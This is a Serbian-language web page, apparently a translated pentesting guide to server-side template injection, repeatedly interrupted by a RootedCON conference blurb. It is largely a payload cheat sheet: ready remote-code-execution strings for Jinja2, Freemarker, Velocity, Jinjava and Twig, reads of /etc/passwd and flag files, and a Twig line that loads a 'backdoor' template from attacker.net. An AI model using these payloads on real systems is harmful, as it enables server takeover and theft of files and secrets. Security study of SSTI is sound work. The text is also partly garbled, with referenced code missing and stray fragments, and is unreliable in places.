RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
Šta je SSTI (Server-Side Template Injection)
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost se može naći u raznim tehnologijama, uključujući Jinja.
Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji prikazuje ranjivi deo koda koristeći Jinja:
U ovom ranjivom kodu, name parametar iz korisničkog zahteva se direktno prosleđuje u šablon koristeći render funkciju. Ovo može potencijalno omogućiti napadaču da ubaci zlonamerni kod u name parametar, što dovodi do server-side template injection.
Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog:
The payload {{bad-stuff-here}} je ubačen u name parametar. Ovaj payload može sadržati Jinja šablonske direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše šablonskim motorom, potencijalno stičući kontrolu nad serverom.
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u šablone. Implementacija validacije unosa i korišćenje tehnika bega koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
Detection
Da bi se otkrila Server-Side Template Injection (SSTI), inicijalno, fuzzing šablona je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (${{<%[%'"}}%\) u šablon i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
Izbačene greške, koje otkrivaju ranjivost i potencijalno šablonski motor.
Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke.
Plaintext Context: Razlikovati od XSS-a proverom da li server evaluira šablonske izraze (npr., {{7*7}}, ${7*7}).
Code Context: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući greeting u http://vulnerable-website.com/?greeting=data.username da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u greeting=data.username}}hello koji vraća korisničko ime.
Identification Phase
Identifikacija šablonskog motora uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju ${7/0}, {{7/0}}, i <%= 7/0 %>. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog šablonskog motora.
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz ${7*7}, koji se takođe primenjuje na ovaj engine za šablone. Za potencijalnu daljinsku izvršavanje koda, mogu se koristiti izrazi poput sledećih:
Thymeleaf zahteva da se ovi izrazi postave unutar specifičnih atributa. Međutim, inlining izraza je podržan za druge lokacije šablona, koristeći sintaksu poput [[...]] ili [(...)]. Tako, jednostavan SSTI test payload može izgledati kao [[${7*7}]].
Međutim, verovatnoća da će ovaj payload raditi je generalno niska. Podrazumevana konfiguracija Thymeleaf-a ne podržava dinamičko generisanje šablona; šabloni moraju biti unapred definisani. Programeri bi morali implementirati svoj TemplateResolver da kreiraju šablone iz stringova u hodu, što je retko.
Thymeleaf takođe nudi preprocesiranje izraza, gde se izrazi unutar dvostrukih donjih crta (__...__) preprocesiraju. Ova funkcija se može iskoristiti u konstrukciji izraza, kao što je prikazano u dokumentaciji Thymeleaf-a:
#{selection.__${sel.code}__}
Primer ranjivosti u Thymeleaf-u
Razmotrite sledeći deo koda, koji bi mogao biti podložan eksploataciji:
{{request.getClass()}} - klasa com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkriven je Jinjava projekat na Githubu.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su upravljani beani) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju:
JavaServer Faces (JSF): Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu.
JavaServer Pages (JSP): EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa aplikacionim podacima.
Contexts and Dependency Injection for Java EE (CDI): EL se integriše sa CDI kako bi omogućio besprekornu interakciju između web sloja i upravljanih beanova, osiguravajući koherentniju strukturu aplikacije.
Pogledajte sledeću stranicu da biste saznali više o iskorišćavanju EL interpretera:
Groovy (Java)
Sledeći zaobilaženja Security Manager-a preuzeta su iz ovog writeup.
RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates je engine za templating koji je nativan za PHP, crpeći inspiraciju iz Twiga. Međutim, za razliku od Twiga, koji uvodi novu sintaksu, Plates koristi nativni PHP kod u šablonima, što ga čini intuitivnim za PHP programere.
Kontroler:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate PHP templating engine koji se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandboxed izvršni okruženje, široko korišćen i licenciran pod BSD.
{{7*7}} = Greška
${7*7} = ${7*7}
{{foobar}} Ništa
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Format šablona
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
Metoda .NET System.Diagnostics.Process.Start može se koristiti za pokretanje bilo kog procesa na serveru i tako kreirati webshell. Primer ranjive web aplikacije možete pronaći na https://github.com/cnotin/RazorVulnerableApp
Čak i ako je to Perl, koristi oznake poput ERB u Ruby-ju.
<%= 7*7 %> = 49
<%= foobar %> = Greška
<%= perl code %>
<% perl code %>
SSTI u GO
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
{{ . }}: Otkrije strukturu podataka. Na primer, ako se prosledi objekat sa atributom Password, {{ .Password }} može ga otkriti.
{{printf "%s" "ssti" }}: Očekuje se da prikaže string "ssti".
{{html "ssti"}}, {{js "ssti"}}: Ovi payload-i bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji ovde.
XSS Eksploatacija
Sa paketom text/template, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket html/template kodira odgovor kako bi to sprečio (npr., {{"<script>alert(1)</script>"}} rezultira <script>alert(1)</script>). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Eksploatacija
RCE eksploatacija se značajno razlikuje između html/template i text/template. Modul text/template omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u html/template. Dokumentacija za ove module je dostupna ovde za html/template i ovde za text/template.
Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima metodu System koja izvršava komande, može se iskoristiti kao {{ .System "ls" }}. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.